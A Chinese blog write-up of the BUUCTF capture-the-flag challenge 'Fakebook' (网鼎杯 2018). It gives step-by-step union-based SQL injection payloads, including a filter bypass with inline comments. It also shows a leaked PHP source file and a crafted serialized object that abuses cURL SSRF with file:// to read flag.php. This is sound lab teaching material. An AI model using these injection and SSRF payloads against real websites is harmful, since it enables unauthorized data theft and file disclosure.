BUUCTF SSRF

[网鼎杯 2018]Fakebook

考点:SSRF、php反序列化、sql注入-union联合查询

解题

1、
DYYPUS.png
看这页面我感觉它存在sql注入
注册一下
DtdLWT.png
发现点击输入的用户名会跳转到/view.php?no=1
Dt6CuT.png
加载了部分百度的页面,但在网络里,本地没有www.baidu.com的请求,可能存在SSRF

/view.php?no=1-0

判断出该注入点是数字型注入

?no=1 order by 5

->4列
用union联合查询

?no=1 union select 1,2,3,4

DYaOX9.png
DYdUhT.png
过滤了union select,用union/**/select绕过
查库名:(测出回显位在第2位)

?no=-1 union/**/select 1,database(),3,4

DtwcnJ.png
在报错中看出用了unserialize(),还爆了一个绝对路径
->库名:fakebook
查表名:

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='fakebook'

->表名:users
查字段名:

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='fakebook' and table_name='users'

->字段:no,username,passwd,data
查数据:

?no=-1 union/**/select 1,group_concat(data),3,4 from fakebook.users

O:8:"UserInfo":3:

data中是一串反序列化数据


看wp,访问/robots.txt(robots.txt也实属很常见),存在备份泄露
DYG0eK.png
user.php.bak:

<?php


class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";

    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();//初始化 cURL 会话

        curl_setopt($ch, CURLOPT_URL, $url);//设置 cURL 传输选项
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);//执行 cURL 会话
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);// 获取cURL连接资源句柄的信息
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}

看到curl_exec(),存在SSRF漏洞,用file://协议读取flag.php,对序列化的内容修改读取flag.php。
构造序列化:

<?php
class UserInfo{
    public $name = "";
    public $age = 0;
    public $blog = "";
}
$a = new UserInfo();
$a->name = "Hh0";
$a->blog = "file:///var/www/html/flag.php";
echo serialize($a);

O:8:"UserInfo":3:

payload:

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"Hh0";s:3:"age";i:0;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
posted @ 2020-11-24 13:45  Pur3  阅读(330)  评论(0编辑  收藏  举报